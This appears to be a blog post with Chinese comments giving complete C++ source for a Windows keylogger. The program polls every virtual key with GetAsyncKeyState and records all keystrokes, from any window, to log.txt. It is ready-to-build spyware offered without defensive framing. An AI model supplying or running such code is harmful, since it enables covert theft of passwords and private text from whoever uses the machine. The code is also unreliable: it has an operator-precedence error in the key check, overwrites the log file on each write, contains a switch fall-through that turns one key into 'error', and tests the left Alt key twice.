windows模拟键盘事件，无光标聚焦，按下键盘就能保存按下的键盘字符

#include<iostream>
#include<stdio.h>
#include<stdlib.h>
#include <windows.h>
#include <winuser.h>
#include <string>
#include <fstream>
using namespace std;
const int KeyBoardValue = 0x80000000;
string GetKeyName(int);
bool JudgeShift();

int main()
{
  string FileName = "log.txt";
  string KeyName = "";
  fstream FileStream;
  //FileStream.open(FileName.c_str(), std::fstream::out | std::fstream::app);
  FileStream.open(FileName.c_str());
  while (1)
  {
    //Sleep(5);
    //FileStream.open(FileName.c_str());
    for (int i = 8; i <= 255; i++)
    {
      if (GetAsyncKeyState(i) & 1 == 1)               //判断虚拟按键是否按下，无论是一直按着还是按一下就弹起，只判断是否按过
      {
        KeyName = GetKeyName(i);
        FileStream.write(KeyName.c_str(), KeyName.size());
        FileStream.close();   //写完一次就保存一次
        FileStream.open(FileName.c_str());
        //FileStream.open(FileName.c_str(), std::fstream::out | std::fstream::app);
      }
    }

  }

  return 0;
}

string GetKeyName(int NumKey)
{
  bool IS_SHIFT = JudgeShift();
  string revalue = "";
  //判断键盘中间的特殊符号
  if (NumKey >= 186 && NumKey <= 222)
    switch (NumKey)
  {
    case 186:
      if (IS_SHIFT)
        revalue = ":";
      else
        revalue = ";";
      break;
    case 187:
      if (IS_SHIFT)
        revalue = "+";
      else
        revalue = "=";
      break;
    case 188:
      if (IS_SHIFT)
        revalue = "<";
      else
        revalue = ",";
      break;
    case 189:
      if (IS_SHIFT)
        revalue = "_";
      else
        revalue = "-";
      break;
    case 190:
      if (IS_SHIFT)
        revalue = ">";
      else
        revalue = ".";
      break;
    case 191:
      if (IS_SHIFT)
        revalue = "?";
      else
        revalue = "/";
      break;
    case 192:
      if (IS_SHIFT)
        revalue = "~";
      else
        revalue = "`";
      break;
    case 219:
      if (IS_SHIFT)
        revalue = "{";
      else
        revalue = "[";
      break;
    case 220:
      if (IS_SHIFT)
        revalue = "|";
      else
        revalue = "\\";
      break;
    case 221:
      if (IS_SHIFT)
        revalue = "}";
      else
        revalue = "]";
      break;
    case 222:
      if (IS_SHIFT)
        revalue = '"';
      else
        revalue = ",";
    default:
      revalue = "error";
      break;
  }


  if (NumKey == VK_ESCAPE) // 退出
    revalue = "[Esc]";
  else if (NumKey == VK_F1) // F1至F12
    revalue = "[F1]";
  else if (NumKey == VK_F2)
    revalue = "[F2]";
  else if (NumKey == VK_F3)
    revalue = "[F3]";
  else if (NumKey == VK_F4)
    revalue = "[F4]";
  else if (NumKey == VK_F5)
    revalue = "[F5]";
  else if (NumKey == VK_F6)
    revalue = "[F6]";
  else if (NumKey == VK_F7)
    revalue = "[F7]";
  else if (NumKey == VK_F8)
    revalue = "[F8]";
  else if (NumKey == VK_F9)
    revalue = "[F9]";
  else if (NumKey == VK_F10)
    revalue = "[F10]";
  else if (NumKey == VK_F11)
    revalue = "[F11]";
  else if (NumKey == VK_F12)
    revalue = "[F12]";
  else if (NumKey == VK_SNAPSHOT) // 打印屏幕
    revalue = "[PrScrn]";
  else if (NumKey == VK_SCROLL) // 滚动锁定
    revalue = "[Scroll Lock]";
  else if (NumKey == VK_PAUSE) // 暂停、中断
    revalue = "[Pause]";
  else if (NumKey == VK_CAPITAL) // 大写锁定
    revalue = "[Caps Lock]";
  else if (NumKey == 8) //<- 回格键
    revalue = "[Backspace]";
  else if (NumKey == VK_RETURN) // 回车键、换行
    revalue = "[Enter]\n";
  else if (NumKey == VK_SPACE) // 空格
    revalue = " ";
  else if (NumKey == VK_TAB) // 制表键
    revalue = "[Tab]";
  else if (NumKey == VK_LCONTROL) // 左控制键
    revalue = "[Ctrl]";
  else if (NumKey == VK_RCONTROL) // 右控制键
    revalue = "[CTRL]";
  else if (NumKey == VK_LMENU) // 左换档键
    revalue = "[Alt]";
  else if (NumKey == VK_LMENU) // 右换档键
    revalue = "[ALT]";
  else if (NumKey == VK_LWIN) // 右 WINDOWS 键
    revalue = "[Win]";
  else if (NumKey == VK_RWIN) // 右 WINDOWS 键
    revalue = "[WIN]";
  else if (NumKey == VK_APPS) // 键盘上 右键
    revalue = "右键";
  else if (NumKey == VK_INSERT) // 插入
    revalue = "[Insert]";
  else if (NumKey == VK_DELETE) // 删除
    revalue = "[Delete]";
  else if (NumKey == VK_HOME) // 起始
    revalue = "[Home]";
  else if (NumKey == VK_END) // 结束
    revalue = "[End]";
  else if (NumKey == VK_PRIOR) // 上一页
    revalue = "[PgUp]";
  else if (NumKey == VK_NEXT) // 下一页
    revalue = "[PgDown]";
  // 不常用的几个键:一般键盘没有
  else if (NumKey == VK_CANCEL) // Cancel
    revalue = "[Cancel]";
  else if (NumKey == VK_CLEAR) // Clear
    revalue = "[Clear]";
  else if (NumKey == VK_SELECT) //Select
    revalue = "[Select]";
  else if (NumKey == VK_PRINT) //Print
    revalue = "[Print]";
  else if (NumKey == VK_EXECUTE) //Execute
    revalue = "[Execute]";

  //----------------------------------------//
  else if (NumKey == VK_LEFT) //上、下、左、右键
    revalue = "[←]";
  else if (NumKey == VK_RIGHT)
    revalue = "[→]";
  else if (NumKey == VK_UP)
    revalue = "[↑]";
  else if (NumKey == VK_DOWN)
    revalue = "[↓]";
  else if (NumKey == VK_NUMLOCK)//小键盘数码锁定
    revalue = "[NumLock]";
  else if (NumKey == VK_ADD) // 加、减、乘、除
    revalue = "+";
  else if (NumKey == VK_SUBTRACT)
    revalue = "-";
  else if (NumKey == VK_MULTIPLY)
    revalue = "*";
  else if (NumKey == VK_DIVIDE)
    revalue = "/";
  else if (NumKey == 190 || NumKey == 110) // 小键盘 . 及键盘 .
    revalue = ".";
  //小键盘数字键:0-9
  else if (NumKey == VK_NUMPAD0)
    revalue = "0";
  else if (NumKey == VK_NUMPAD1)
    revalue = "1";
  else if (NumKey == VK_NUMPAD2)
    revalue = "2";
  else if (NumKey == VK_NUMPAD3)
    revalue = "3";
  else if (NumKey == VK_NUMPAD4)
    revalue = "4";
  else if (NumKey == VK_NUMPAD5)
    revalue = "5";
  else if (NumKey == VK_NUMPAD6)
    revalue = "6";
  else if (NumKey == VK_NUMPAD7)
    revalue = "7";
  else if (NumKey == VK_NUMPAD8)
    revalue = "8";
  else if (NumKey == VK_NUMPAD9)
    revalue = "9";
  //----------------------------上述代码判断键盘上除了字母之外的功能键--------------------------------//
  else if (NumKey >= 65 && NumKey <= 90)
  {
    if (GetKeyState(VK_CAPITAL))
    {
      if (IS_SHIFT)
        revalue = NumKey + 32;
      else
        revalue = NumKey;
    }
    else
    {
      if (IS_SHIFT)
        revalue = NumKey;
      else
        revalue = NumKey + 32;
    }
  }
  //---------------------------上面的部分判断键盘上的字母----------------------------------------------//
  else if (NumKey >= 48 && NumKey <= 57)
  {
    if (IS_SHIFT)
    {
      switch (NumKey)
      {
      case 48:revalue = ")"; break;
      case 49:revalue = "!"; break;
      case 50:revalue = "@"; break;
      case 51:revalue = "#"; break;
      case 52:revalue = "$"; break;
      case 53:revalue = "%"; break;
      case 54:revalue = "^"; break;
      case 55:revalue = "&"; break;
      case 56:revalue = "*"; break;
      case 57:revalue = "("; break;
      }
    }
    else
    {
      switch (NumKey)
      {
      case 48:revalue = "0"; break;
      case 49:revalue = "1"; break;
      case 50:revalue = "2"; break;
      case 51:revalue = "3"; break;
      case 52:revalue = "4"; break;
      case 53:revalue = "5"; break;
      case 54:revalue = "6"; break;
      case 55:revalue = "7"; break;
      case 56:revalue = "8"; break;
      case 57:revalue = "9"; break;
      }
    }
  }
  return revalue;
}

bool JudgeShift()
{
  int   iShift = GetKeyState(0x10); //判断Shift键状态
  bool   IS = (iShift & KeyBoardValue) == KeyBoardValue; //表示按下Shift键
  if (IS)
    return 1;
  else
    return 0;
}